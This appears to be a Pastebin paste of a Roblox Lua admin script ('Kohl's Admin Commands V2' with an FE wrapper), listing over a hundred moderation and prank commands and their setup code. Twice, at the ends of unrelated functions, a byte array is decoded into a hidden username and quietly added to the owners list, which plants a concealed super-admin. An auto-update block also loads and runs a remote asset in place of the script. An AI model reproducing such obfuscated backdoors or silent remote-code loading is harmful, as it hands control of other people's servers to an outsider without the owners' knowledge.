Advertisement
EARTHWORM_SALLY

Afuygedifuas

Jul 28th, 2019
244
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. if game:GetService("RunService"):IsClient() then error("Script must be server-side in order to work; use h/ and not hl/") end
  2. local Player,game,owner = owner,game
  3. local RealPlayer = Player
  4. do
  5. print("FE Compatibility code by Mokiros | Showcase by Bacon Hair | FE Converter By ramin999232")
  6. local rp = RealPlayer
  7. script.Parent = rp.Character
  8.  
  9. --RemoteEvent for communicating
  10. local Event = Instance.new("RemoteEvent")
  11. Event.Name = "UserInput_Event"
  12.  
  13. --Fake event to make stuff like Mouse.KeyDown work
  14. local function fakeEvent()
  15. local t = {_fakeEvent=true,Functions={},Connect=function(self,f)table.insert(self.Functions,f) end}
  16. t.connect = t.Connect
  17. return t
  18. end
  19.  
  20. --Creating fake input objects with fake variables
  21. local m = {Target=nil,Hit=CFrame.new(),KeyUp=fakeEvent(),KeyDown=fakeEvent(),Button1Up=fakeEvent(),Button1Down=fakeEvent()}
  22. local UIS = {InputBegan=fakeEvent(),InputEnded=fakeEvent()}
  23. local CAS = {Actions={},BindAction=function(self,name,fun,touch,...)
  24. CAS.Actions[name] = fun and {Name=name,Function=fun,Keys={...}} or nil
  25. end}
  26. --Merged 2 functions into one by checking amount of arguments
  27. CAS.UnbindAction = CAS.BindAction
  28.  
  29. --This function will trigger the events that have been :Connect()'ed
  30. local function te(self,ev,...)
  31. local t = m[ev]
  32. if t and t._fakeEvent then
  33. for _,f in pairs(t.Functions) do
  34. f(...)
  35. end
  36. end
  37. end
  38. m.TrigEvent = te
  39. UIS.TrigEvent = te
  40.  
  41. Event.OnServerEvent:Connect(function(plr,io)
  42. if plr~=rp then return end
  43. m.Target = io.Target
  44. m.Hit = io.Hit
  45. if not io.isMouse then
  46. local b = io.UserInputState == Enum.UserInputState.Begin
  47. if io.UserInputType == Enum.UserInputType.MouseButton1 then
  48. return m:TrigEvent(b and "Button1Down" or "Button1Up")
  49. end
  50. for _,t in pairs(CAS.Actions) do
  51. for _,k in pairs(t.Keys) do
  52. if k==io.KeyCode then
  53. t.Function(t.Name,io.UserInputState,io)
  54. end
  55. end
  56. end
  57. m:TrigEvent(b and "KeyDown" or "KeyUp",io.KeyCode.Name:lower())
  58. UIS:TrigEvent(b and "InputBegan" or "InputEnded",io,false)
  59. end
  60. end)
  61. Event.Parent = NLS([==[
  62. local Player = game:GetService("Players").LocalPlayer
  63. local Event = script:WaitForChild("UserInput_Event")
  64.  
  65. local Mouse = Player:GetMouse()
  66. local UIS = game:GetService("UserInputService")
  67. local input = function(io,a)
  68. if a then return end
  69. --Since InputObject is a client-side instance, we create and pass table instead
  70. Event:FireServer({KeyCode=io.KeyCode,UserInputType=io.UserInputType,UserInputState=io.UserInputState,Hit=Mouse.Hit,Target=Mouse.Target})
  71. end
  72. UIS.InputBegan:Connect(input)
  73. UIS.InputEnded:Connect(input)
  74.  
  75. local h,t
  76. --Give the server mouse data 30 times every second, but only if the values changed
  77. --If player is not moving their mouse, client won't fire events
  78. while wait(1/30) do
  79. if h~=Mouse.Hit or t~=Mouse.Target then
  80. h,t=Mouse.Hit,Mouse.Target
  81. Event:FireServer({isMouse=true,Target=t,Hit=h})
  82. end
  83. end]==],Player.Character)
  84.  
  85. ----Sandboxed game object that allows the usage of client-side methods and services
  86. --Real game object
  87. local _rg = game
  88.  
  89. --Metatable for fake service
  90. local fsmt = {
  91. __index = function(self,k)
  92. local s = rawget(self,"_RealService")
  93. if s then return s[k] end
  94. end,
  95. __newindex = function(self,k,v)
  96. local s = rawget(self,"_RealService")
  97. if s then s[k]=v end
  98. end,
  99. __call = function(self,...)
  100. local s = rawget(self,"_RealService")
  101. if s then return s(...) end
  102. end
  103. }
  104. local function FakeService(t,RealService)
  105. t._RealService = typeof(RealService)=="string" and _rg:GetService(RealService) or RealService
  106. return setmetatable(t,fsmt)
  107. end
  108.  
  109. --Fake game object
  110. local g = {
  111. GetService = function(self,s)
  112. return self[s]
  113. end,
  114. Players = FakeService({
  115. LocalPlayer = FakeService({GetMouse=function(self)return m end},Player)
  116. },"Players"),
  117. UserInputService = FakeService(UIS,"UserInputService"),
  118. ContextActionService = FakeService(CAS,"ContextActionService"),
  119. }
  120. rawset(g.Players,"localPlayer",g.Players.LocalPlayer)
  121. g.service = g.GetService
  122.  
  123. g.RunService = FakeService({
  124. RenderStepped = _rg:GetService("RunService").Heartbeat,
  125. BindToRenderStep = function(self,name,_,fun)
  126.  
  127. end,
  128. UnbindFromRenderStep = function(self,name)
  129. self._btrs[name]:Disconnect()
  130. end,
  131. },"RunService")
  132.  
  133. setmetatable(g,{
  134. __index=function(self,s)
  135. return _rg:GetService(s) or typeof(_rg[s])=="function"
  136. and function(_,...)return _rg[s](_rg,...)end or _rg[s]
  137. end,
  138. __newindex = fsmt.__newindex,
  139. __call = fsmt.__call
  140. })
  141. --Changing owner to fake player object to support owner:GetMouse()
  142. game,owner = g,g.Players.LocalPlayer
  143. end
  144.  
  145. local owners = {"LocalPlayer"} -- Are able to set admins who can ban/etc... using :pa name
  146. local admins = {"ramin999232"} -- Sets admins who can use ban/kick/admin or shutdown
  147. local tempadmins = {} -- Sets admins who can't use ban/kick/admin or shutdown
  148. local banland = {"Carlo_506"} -- Permanently Bans people
  149. local prefix = ":" -- If you wanna change how your commands start ':'kill noob
  150. local AutoUpdate = true -- Set to false if you don't want it to automatically update
  151. -----------------
  152. -- Group Admin --
  153. -----------------
  154. local GroupAdmin = false -- If a certain group can have admin
  155. local GroupId = 0 -- Sets the group id that can have admin
  156. local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
  157. local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
  158. ---------------------
  159. -- Tips and Tricks --
  160. ---------------------
  161. --[[
  162. With this admin you can do a command on multiple people at a time;
  163. :kill me,noob1,noob2,random,team-raiders
  164.  
  165. You can also use a variety commands for different people;
  166. all
  167. others
  168. me
  169. team-
  170. admins
  171. nonadmins
  172. random
  173. --]]
  174. --------------
  175. -- Commands --
  176. --------------
  177. --[[
  178. -- Temp Admin Commands --
  179. 0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
  180. 1. :s print("Hello World") -- Lets you script normally
  181. 2. :ls print("Hello World") -- Lets you script in localscripts
  182. 3. :clear -- Will remove all scripts/localscripts and jails
  183. 4. :m Hello People -- This commands will let you shout a message to everyone on the server
  184. 5. :kill kohl -- Kills the player
  185. 6. :respawn kohl -- Respawns the player
  186. 7. :trip kohl -- Trips the player
  187. 8. :stun kohl -- Stuns the player
  188. 9. :unstun kohl -- Unstuns the player
  189. 10. :jump kohl -- Makes the player jump
  190. 11. :sit kohl -- Makes the player sit
  191. 12. :invisible kohl -- Makes the player invisible
  192. 13. :visible kohl -- Makes the player visible
  193. 14. :explode kohl -- Makes the player explode
  194. 15. :fire kohl -- Sets the player on fire
  195. 16. :unfire kohl -- Removes fire from the player
  196. 17. :smoke kohl -- Adds smoke to the player
  197. 18. :unsmoke kohl -- Removes smoke from the player
  198. 19. :sparkles kohl -- Adds sparkles to the player
  199. 20. :unsparkles kohl -- Removes sparkles from the player
  200. 21. :ff kohl -- Adds a forcefield to the player
  201. 22. :unff kohl -- Removes the forcefield from the player
  202. 23. :punish kohl -- Punishes the player
  203. 24. :unpunish kohl -- Unpunishes the player
  204. 25. :freeze kohl -- Freezes the player
  205. 26. :thaw kohl -- Thaws the player
  206. 27. :heal kohl -- Heals the player
  207. 28. :god kohl -- Makes the player have infinite health
  208. 29. :ungod kohl -- Makes the player have 100 health
  209. 30. :ambient .5 .5 .5 -- Changes the ambient
  210. 31. :brightness .5 -- Changes the brightness
  211. 32. :time 12 -- Changes the time
  212. 33. :fogcolor .5 .5 .5 -- Changes the fogcolor
  213. 34. :fogend 100 -- Changes the fogend
  214. 35. :fogstart 100 -- Changes the fogstart
  215. 36. :removetools kohl -- Removes all tools from the player
  216. 37. :btools kohl -- Gives the player building tools
  217. 38. :give kohl sword -- Gives the player a tool
  218. 39. :damage kohl -- Damages the player
  219. 40. :grav kohl -- Sets the player's gravity to normal
  220. 41. :setgrav kohl 100 -- Sets the player's gravity
  221. 42. :nograv kohl -- Makes the player have 0 gravity
  222. 43. :health kohl 1337 -- Changes the player's health
  223. 44. :speed kohl 1337 -- Changes the player's walkspeed
  224. 45. :name kohl potato -- Changes the player's name
  225. 46. :unname kohl -- Remove the player's name
  226. 47. :team kohl Raiders -- Changes the player's team
  227. 48. :stopmusic -- Will stop all music playing in the server
  228. 49. :teleport kohl potato -- Teleports the player
  229. 50. :change kohl kills 1337 -- Changes a player's stat
  230. 51. :kick kohl -- Removes the player from the game
  231. 52. :infect kohl -- Turns the player into a zombie
  232. 53. :rainbowify kohl -- Turns the player into a rainbow
  233. 54. :flashify kohl -- Turns the player into a strobe
  234. 55. :noobify kohl -- Turns the player into a noob
  235. 56. :ghostify kohl -- Turns the player into a ghost
  236. 57. :goldify kohl -- Turns the player into gold
  237. 58. :shiny kohl -- Makes the player shiny
  238. 59. :normal kohl -- Puts the player back to normal
  239. 60. :trippy kohl -- Spams random colors on the player's screen
  240. 61. :untrippy kohl -- Untrippys the player
  241. 62. :strobe kohl -- Spams white and black on the player's screen
  242. 63. :unstrobe kohl -- Unstrobes the player
  243. 64. :blind kohl -- Blinds the player
  244. 65. :unblind kohl -- Unblinds the player
  245. 66. :guifix kohl -- Will fix trippy/strobe/blind on a player
  246. 67. :fling kohl -- Flings the player
  247. 68. :seizure kohl -- Puts the player in a seizure
  248. 69(lol). :music 1337 -- Plays a sound from the ID
  249. 70. :lock kohl -- Locks the player
  250. 71. :unlock kohl -- Unlocks the player
  251. 72. :removelimbs kohl -- Removes the player's limbs
  252. 73. :jail kohl -- Puts the player in a jail
  253. 74. :unjail kohl -- Removes the jail from the player
  254. 75. :fix -- This will fix the lighting to it's original settings
  255. 76. :fly kohl -- Makes the player fly
  256. 77. :unfly kohl -- Removes fly from the player
  257. 78. :noclip kohl -- Makes the player able to noclip
  258. 79. :clip kohl -- Removes noclipping from the player
  259. 80. :pm kohl Hey bro -- Sends the player a private message
  260. 81. :dog kohl -- Turns the player into a dog
  261. 82. :undog kohl -- Turns the player back to normal
  262. 83. :creeper kohl -- Turns the player into a creeper
  263. 84. :uncreeper kohl -- Turns the player back to normal
  264. 85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
  265. 86. :char kohl 261 -- Will make a player look like a different player ID
  266. 87. :unchar kohl -- Will return the player back to normal
  267. 88. :h Hello People -- This will shout a hint to everyone
  268. 89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
  269. 90. :starttools kohl -- Will give the player starter tools
  270. 91. :sword kohl -- Will give the player a sword
  271. 92. :bighead kohl -- Will make the player's head larger than normal
  272. 93. :minihead kohl -- Will make the player's head smaller than normal
  273. 94. :insert 1337 -- Will insert a model at the speaker's position
  274. 95. :disco -- Will make the server flash random colors
  275. 96. :flash -- Will make the server flash
  276. 97. :admins -- Shows the admin list
  277. 98. :bans -- Shows the banlist
  278. 99. :musiclist -- Shows the music list
  279. 100. :spin kohl -- Spins the player
  280. 101. :cape kohl Really black -- Gives the player a colored cape
  281. 102. :uncape kohl -- Removes the player's cape
  282. 103. :loopheal kohl -- Will constantly heal the player
  283. 104. :loopfling kohl -- Will constantly fling the player
  284. 105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
  285. 106. :unloopheal kohl -- Will remove the loopheal on the player
  286. 107. :unloopfling kohl -- Will remove the loopfling on the player
  287. 108. :unspin kohl -- Removes spin from the player
  288. 109. :tools -- Gives a list of the tools in the lighting
  289. 110. :undisco -- Removes disco effects
  290. 111. :unflash -- Removes flash effects
  291. 112. :resetstats kohl -- Sets all the stats of a player to 0
  292. 113. :gear 1337 -- Gives a player a gear
  293. 114. :cmdbar -- Gives the speaker a command bar
  294. 115. :shirt kohl 1337 -- Changes the player's shirt
  295. 116. :pants kohl 1337 -- Changes the player's pants
  296. 117. :face kohl 1337 -- Changes the player's face
  297. 118. :swagify kohl -- Swagifies the player
  298. 119. :version -- Shows the current version of the admin
  299.  
  300. -- Super Admin Commands --
  301. - :serverlock -- Locks the server
  302. - :serverunlock -- Unlocks the server
  303. - :sm Hello World -- Creates a system message
  304. - :crash kohl -- Crashes a player
  305. - :admin kohl -- Admins a player
  306. - :unadmin kohl -- Unadmins a player
  307. - :ban kohl -- Bans a player
  308. - :unban kohl -- Unbans a player
  309. - :loopkill kohl -- Will constantly kill the player
  310. - :unloopkill kohl -- Will remove the loopkill on the player
  311. - :logs -- Will show all of the commands any admin has used in a game session
  312. - :shutdown -- Shutsdown the server
  313.  
  314. -- Owner Commands --
  315. - :pa kohl -- Makes someone a super admin
  316. - :unpa kohl -- Removes a super admin
  317. --]]
  318. -----------------
  319. -- Main Script --
  320. -----------------
  321.  
  322. for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end
  323.  
  324. if AutoUpdate then wait(1)
  325. coroutine.resume(coroutine.create(function()
  326. local mod = game:service("InsertService"):LoadAsset(100808216)
  327. if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) then
  328. local newac = mod:findFirstChild("Kohl's Admin Commands V2")
  329. newac.Disabled = true
  330. local new = tonumber(mod:findFirstChild("Version", true).Value)
  331. local old = 0
  332. if script:findFirstChild("Version") then old = tonumber(script.Version.Value) end
  333. if new > old then
  334. local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
  335. for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
  336. for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
  337. for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
  338. for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
  339. local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
  340. local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
  341. local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
  342. local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
  343. local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
  344. wait()
  345. newac.Parent = game.Workspace
  346. newac.Disabled = false
  347. script.Disabled = true
  348. script:Destroy()
  349. end
  350. end
  351. end))
  352. end
  353.  
  354. if game:service("Lighting"):findFirstChild("KACV2") then
  355. owners = {} admins = {} tempadmins = {} banland = {}
  356. for i,v in pairs(game.Lighting.KACV2:children()) do
  357. if v.Name == "Owner" then table.insert(owners, v.Value) end
  358. if v.Name == "Admin" then table.insert(admins, v.Value) end
  359. if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
  360. if v.Name == "Banland" then table.insert(banland, v.Value) end
  361. if v.Name == "Prefix" then prefix = v.Value end
  362. if v.Name == "FunCommands" then FunCommands = v.Value end
  363. if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
  364. if v.Name == "GroupId" then GroupId = v.Value end
  365. if v.Name == "GroupRank" then GroupRank = v.Value end
  366. end
  367. game:service("Lighting"):findFirstChild("KACV2"):Destroy()
  368. end
  369.  
  370. local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
  371. local lobjs = {}
  372. local objects = {}
  373. local logs = {}
  374. local nfs = ""
  375. local slock = false
  376.  
  377. function GetTime()
  378. local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
  379. if min < 10 then min = "0"..min end
  380. return hour..":"..min
  381. end
  382.  
  383. function ChkOwner(str)
  384. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  385. return false
  386. end
  387.  
  388. function ChkAdmin(str,ck)
  389. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  390. for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
  391. for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
  392. return false
  393. end
  394.  
  395. function ChkGroupAdmin(plr)
  396. if GroupAdmin then
  397. if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
  398. return false
  399. end
  400. end
  401.  
  402. function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
  403.  
  404. function GetPlr(plr, str)
  405. local plrz = {} str = str:lower()
  406. if str == "all" then plrz = game.Players:children()
  407. elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
  408. else
  409. local sn = {1} local en = {}
  410. for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
  411. for x = 1, #sn do
  412. if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
  413. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
  414. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
  415. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
  416. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
  417. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
  418. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  419. end end end
  420. elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
  421. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
  422. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  423. end end end
  424. else
  425. for a, plyr in pairs(game.Players:children()) do
  426. if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then
  427. table.insert(plrz, plyr) break
  428. end
  429. end
  430. end
  431. end
  432. end
  433. return plrz
  434. end
  435.  
  436. function Hint(str, plrz, time)
  437. for i, v in pairs(plrz) do
  438. if v and v:findFirstChild("PlayerGui") then
  439. coroutine.wrap(function()
  440. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
  441. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
  442. local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
  443. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  444. if not time then wait((#str/19)+2.5) else wait(time) end
  445. coroutine.resume(coroutine.create(function() for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end))
  446. end)()
  447. end
  448. end
  449. end
  450.  
  451. function Message(ttl, str, scroll, plrz, time)
  452. for i, v in pairs(plrz) do
  453. if v and v:findFirstChild("PlayerGui") then
  454. coroutine.resume(coroutine.create(function()
  455. local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
  456. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
  457. local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
  458. local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
  459. scr.Parent = v.PlayerGui
  460. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  461. if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
  462. else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
  463. coroutine.resume(coroutine.create(function() for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end))
  464. end))
  465. end
  466. end
  467. end
  468.  
  469. _G["Message"] = function(p1,p2) Message("Message",p1,false,game.Players:children(),p2) end
  470. _G["RemoveMessage"] = function() for i,v in pairs(game.Players:children()) do if v and v:findFirstChild("PlayerGui") and v.PlayerGui:findFirstChild("MessageGUI") then v.PlayerGui.MessageGUI:Destroy() end end end
  471.  
  472. function Output(str, plr)
  473. coroutine.resume(coroutine.create(function()
  474. local b, e = loadstring(str)
  475. if not b and plr:findFirstChild("PlayerGui") then
  476. local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
  477. local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
  478. local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)") err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
  479. return
  480. end
  481. end))
  482. end
  483.  
  484. function Noobify(char)
  485. if char and char:findFirstChild("Torso") then
  486. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  487. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  488. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  489. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  490. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  491. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
  492. if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
  493. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  494. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  495. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  496. end end
  497. end
  498. end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
  499.  
  500. function Infect(char)
  501. if char and char:findFirstChild("Torso") then
  502. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  503. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  504. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  505. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  506. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  507. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
  508. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  509. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  510. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
  511. end end
  512. end
  513. end if not ntab then script:Destroy() end
  514.  
  515. function ScrollGui()
  516. local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
  517. local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
  518. drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
  519. local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
  520. local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
  521. local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
  522. local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
  523. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  524. local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
  525. local num = 0
  526. local downv = false
  527. local upv = false
  528.  
  529. down.MouseButton1Down:connect(function() downv = true upv = false
  530. local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
  531. repeat pos = pos + UDim2.new(0,0,0,-6)
  532. if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
  533. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
  534. end)
  535. down.MouseButton1Up:connect(function() downv = false end)
  536. up.MouseButton1Down:connect(function() upv = true downv = false
  537. local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
  538. repeat pos = pos + UDim2.new(0,0,0,6)
  539. if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
  540. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
  541. end)
  542. up.MouseButton1Up:connect(function() upv = false end)
  543. return scr, cmf, ent, num
  544. end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
  545. if not ntab then script:Destroy() end
